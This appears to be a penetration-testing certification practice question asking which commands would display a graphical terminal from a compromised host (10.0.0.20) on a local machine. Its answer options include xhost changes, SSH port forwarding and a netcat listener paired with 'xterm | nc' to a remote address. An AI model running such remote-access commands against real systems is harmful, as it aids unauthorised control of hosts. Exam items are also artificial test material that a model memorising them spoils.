August 13, 2021 by Admin
A penetration tester wants to launch a graphic console window from a remotely compromised host with IP 10.0.0.20 and display the terminal on the local computer with IP 192.168.1.10. Which of the following would accomplish this task?
- From the remote computer, run the following commands:
export XHOST 192.168.1.10:0.0
xhost+
Terminal
- From the local computer, run the following command:
ssh -L4444:127.0.0.1:6000 -X [email protected] xterm
- From the remote computer, run the following command:
ssh -R6000:127.0.0.1:4444 -p 6000 [email protected] “xhost+; xterm”
- From the local computer, run the following command:
nc -l -p 6000
Then, from the remote computer, run the following command:
xterm | nc 192.168.1.10 6000